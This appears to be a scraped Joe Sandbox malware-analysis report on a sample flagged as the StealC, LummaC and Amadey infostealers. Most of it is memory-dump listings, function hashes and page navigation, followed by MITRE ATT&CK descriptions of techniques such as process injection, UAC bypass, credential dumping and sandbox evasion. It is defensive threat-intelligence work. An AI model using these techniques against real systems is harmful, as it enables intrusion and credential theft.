Associated: 00000002.00000002.2024813592.0000000000561000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024838014.0000000000562000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024864379.0000000000571000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024888661.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024923107.00000000005AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024946598.00000000005AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024969503.00000000005AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024969503.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2025018470.00000000005C4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2025109471.00000000005C6000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_310000_MYSLPMLH987D3Z1VZQGFOG7TV6JJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b12a40f31fa078444c516988263360aeb9ed0a87cc84985147e7442dc2b62c97
Instruction ID: f5b198ec246571781c14df317afb23ed5d26d60b1ed36bfa3666de662db17ebc
Opcode Fuzzy Hash: b12a40f31fa078444c516988263360aeb9ed0a87cc84985147e7442dc2b62c97
Instruction Fuzzy Hash: 563138F250C200AFE705AE19EC816BEFBE9FB98720F16492EE6D5C3350E73158548B56

Function 004B6E70 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2024008645.00000000004B5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00310000, based on PE: true

Associated: 00000002.00000002.2023626815.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023654046.0000000000312000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023678332.0000000000316000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023701916.000000000031A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023727630.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023752076.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023775947.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023879748.0000000000486000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023905221.0000000000489000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023933635.000000000049E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023933635.00000000004A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023985076.00000000004B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024033705.00000000004C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024058250.00000000004C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024087411.00000000004DB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024110573.00000000004DC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024134788.00000000004E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024159348.00000000004EF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024183475.00000000004FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024208490.00000000004FE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024231649.00000000004FF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024254275.0000000000500000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024278762.0000000000501000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024301755.0000000000503000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024326415.000000000050D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024349752.0000000000510000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024373406.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024398204.0000000000516000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024422828.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024449053.0000000000522000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024473364.0000000000523000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024499008.0000000000527000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024548179.0000000000530000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024584016.0000000000533000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024609768.0000000000534000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024634769.0000000000537000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024660505.000000000053F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024687998.0000000000543000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024711447.0000000000544000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024736356.000000000054A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024762634.0000000000552000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024787965.0000000000553000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024813592.0000000000561000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024838014.0000000000562000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024864379.0000000000571000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024888661.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024923107.00000000005AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024946598.00000000005AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024969503.00000000005AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024969503.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2025018470.00000000005C4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2025109471.00000000005C6000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_310000_MYSLPMLH987D3Z1VZQGFOG7TV6JJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d1bfd2dc7b863b53f4791cbfbf7ba942f22be62101fa360b9ec3ad501b72aae
Instruction ID: bafe9cf955f0679c932b5b2478cfc1330fba053fb7669c8076bf6ebd75ee0cfc
Opcode Fuzzy Hash: 0d1bfd2dc7b863b53f4791cbfbf7ba942f22be62101fa360b9ec3ad501b72aae
Instruction Fuzzy Hash: B60124B680020A8BEB14CF84C1486ABB7B4FF49721F1682A9D8011BB10D3B45CD4CB59

Analysis Process: NN5L9AGTEIQO79C9NX.exePID: 7864, Parent PID: 7356COMMON

Executed Functions

Function 05390B3E Relevance: 1.3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

Strings

;, xrefs: 05390B60

Memory Dump Source

Source File: 00000003.00000002.1947717743.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5390000_NN5L9AGTEIQO79C9NX.jbxd

Similarity

API ID:
String ID: ;
API String ID: 0-1661535913
Opcode ID: 88aed9c8bcdb502cd6cbec7830a1a5d91c205bab25524a4396052a0006143633
Instruction ID: 5b59da0c683a3dab59cdfabe7d5f19f122bfb36476a40e94172e97df1db93524
Opcode Fuzzy Hash: 88aed9c8bcdb502cd6cbec7830a1a5d91c205bab25524a4396052a0006143633
Instruction Fuzzy Hash: 95F050E644C651CFC71EE579544E179BF9BBA13335BB0006EB08387D42D246866AA191

Function 05390A2A Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1947717743.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5390000_NN5L9AGTEIQO79C9NX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b559804b9977d5e3172e442c1443211d2940b3cb4596dc6381f30d10db9bbc3b
Instruction ID: 36957f447b883618ff4f67b810538056e8196a79802023a37eea0c87e4b8e770
Opcode Fuzzy Hash: b559804b9977d5e3172e442c1443211d2940b3cb4596dc6381f30d10db9bbc3b
Instruction Fuzzy Hash: 03213BFB44D221EDA91EE582524D5BA7AAFF6A33703304436F40786942E3C8874960B2

Function 05390A7D Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1947717743.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5390000_NN5L9AGTEIQO79C9NX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b676fc937f3cace0655256b616d38314e35c7d326b1c4ef36101d078a2506ea
Instruction ID: b1ed687f6671ddad8fadcff78c8f2f9f07edee48d86490cec5a20e87cbe10e6a
Opcode Fuzzy Hash: 8b676fc937f3cace0655256b616d38314e35c7d326b1c4ef36101d078a2506ea
Instruction Fuzzy Hash: 38112EEB44C211BDA90FD541564D9BA7FAFF6933343308476F407D6A02E3C88A496071

Function 05390A76 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1947717743.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5390000_NN5L9AGTEIQO79C9NX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f61f741234b9ed05c787f83e3c13cd0d77f875d787d2b8d4fb3d9898d08320b7
Instruction ID: 0715b3d9034fb380e8d7216c838f5478f410a5b6567bbf226b65d78dd819c4f2
Opcode Fuzzy Hash: f61f741234b9ed05c787f83e3c13cd0d77f875d787d2b8d4fb3d9898d08320b7
Instruction Fuzzy Hash: 581127EB08D121BDA80FD542568D9BA7E6FF6E33743308076F407C6902E2C88A4920B2

Function 05390AC1 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1947717743.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5390000_NN5L9AGTEIQO79C9NX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8696809b6d91e1fe271eb37124eaa5023b068059e00bff7c58d448ccfb93c24e
Instruction ID: 219c3e4b050ffce261e4f9ff3fe46fd22f9fa4227be084429200789e8de389e6
Opcode Fuzzy Hash: 8696809b6d91e1fe271eb37124eaa5023b068059e00bff7c58d448ccfb93c24e
Instruction Fuzzy Hash: 44118CE700C251AEDE4FD545558DABA7FAFEA6333473040A3F417C9D03D2C98A45A2A2

Function 05390AAA Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1947717743.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5390000_NN5L9AGTEIQO79C9NX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63d44f58997bad8a6772a51df7965b1381652dfb7779ec7f21b8eec2c2badbbf
Instruction ID: 1972f702f6afc4e74114674be332397b0c10967550a39c213583c58e6e8ed98c
Opcode Fuzzy Hash: 63d44f58997bad8a6772a51df7965b1381652dfb7779ec7f21b8eec2c2badbbf
Instruction Fuzzy Hash: A211CEFB04D110FEAD0EE946958D9BA7FAFF7633383308066F40386A02D3C8865560A1

Function 05390B0E Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1947717743.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5390000_NN5L9AGTEIQO79C9NX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3be4258a563510b65cb50a1e127d0f63d8224618a02cf0f528ba912967130751
Instruction ID: 4df9c85a37a0bf7ff5c64cf565b77e7864561c83362a76a7051d007784a64719
Opcode Fuzzy Hash: 3be4258a563510b65cb50a1e127d0f63d8224618a02cf0f528ba912967130751
Instruction Fuzzy Hash: 9C017BEB04C121FD5D4EE84655894FA7EAFF6A33383308467F40789A0393C48A5960A1

Function 05390ADD Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1947717743.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5390000_NN5L9AGTEIQO79C9NX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5149f7656bd268c6a88e88712bb7e1a30bc161be303dab46c7a9f567383a4e4
Instruction ID: 0712d5806b110742038ec703005e55dd668ff50505ce0e3b98fe1b02743ce012
Opcode Fuzzy Hash: f5149f7656bd268c6a88e88712bb7e1a30bc161be303dab46c7a9f567383a4e4
Instruction Fuzzy Hash: 08012DEF44C121FD6D4EE44616498BA7E9FF6A33393308477F80795D0253C88B5960B1

Function 05390AF4 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1947717743.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5390000_NN5L9AGTEIQO79C9NX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc712a034f42c45209057a027854b4097deb49ee15456e5a3f500107f005168a
Instruction ID: 5543f66ac0a65576bac4553d2d84e6862d32df2a8729ae076ec65aa461ca8e0e
Opcode Fuzzy Hash: bc712a034f42c45209057a027854b4097deb49ee15456e5a3f500107f005168a
Instruction Fuzzy Hash: 4CF02BEB44C121FC5D4EE945268A8FA7FAFF6A33393308463F40794D0292D8CB596060

Function 05390B22 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1947717743.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5390000_NN5L9AGTEIQO79C9NX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4c69b65344ef9c02f0b31a47c4c080e93a6f2885da94b68b39d1590e9c5bec7
Instruction ID: 36c3b0ffd913399dca0a7599d1e02f010c84272ccaec7ad37ac91c8c0f83910f
Opcode Fuzzy Hash: a4c69b65344ef9c02f0b31a47c4c080e93a6f2885da94b68b39d1590e9c5bec7
Instruction Fuzzy Hash: A7F0E9DB44C521A8594FD445118A1BA7FDFB57333A3308867F54BD9E02C28D875A6161

Function 05390BAF Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1947717743.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5390000_NN5L9AGTEIQO79C9NX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec76d9ae2ebe150119e15f149ebbf64780ade99bf6077e988b535053adace84c
Instruction ID: ddc7fdaf47877a6eed36c422d403f1cbe4c570267011e71f7a9e4751e9d7f41b
Opcode Fuzzy Hash: ec76d9ae2ebe150119e15f149ebbf64780ade99bf6077e988b535053adace84c
Instruction Fuzzy Hash: 76E0A3F640C6C4DFD7465264D44A1F6FFB0BF1332872004DED481470D3E5150164D252

Function 05390B90 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1947717743.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5390000_NN5L9AGTEIQO79C9NX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d248369825ff1aca1f153850098071300366eab919373c6a9d4be6f46c2d849d
Instruction ID: 062659f436c2c78f273c941c33f08462262b0763954027e05549bebf8098dd0d
Opcode Fuzzy Hash: d248369825ff1aca1f153850098071300366eab919373c6a9d4be6f46c2d849d
Instruction Fuzzy Hash: B5D022DF08C021CD1CCDF04A120E63169DF723333A7700423B243D4C428285C3A87031

Function 05390B83 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1947717743.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5390000_NN5L9AGTEIQO79C9NX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f7c1495aa0df70e26cd73865fe0f31c335b58acac8eb88a8cc2750c9a7c7b34
Instruction ID: 88a99726e9aaab8a84edd7981fe0cdf6a8e48eeb04e6582d6e44d62e647ea6bd
Opcode Fuzzy Hash: 7f7c1495aa0df70e26cd73865fe0f31c335b58acac8eb88a8cc2750c9a7c7b34
Instruction Fuzzy Hash: 27D095B708D484CA894DD145E40D531FBE47A0323D33000EFF14306441D5144134F673

Function 05390BA1 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1947717743.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5390000_NN5L9AGTEIQO79C9NX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de17713381b9b06df0c152116b04fa3bde0b7543695cc585911dd845fb096db4
Instruction ID: c246bdccebc690050ca18159944b7b145681435f2d02204553491e2535f7d570
Opcode Fuzzy Hash: de17713381b9b06df0c152116b04fa3bde0b7543695cc585911dd845fb096db4
Instruction Fuzzy Hash: 0FD023DB04C011DD54CDA556130E171B69FF71333537004A3F143C0C41DA4543687531

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

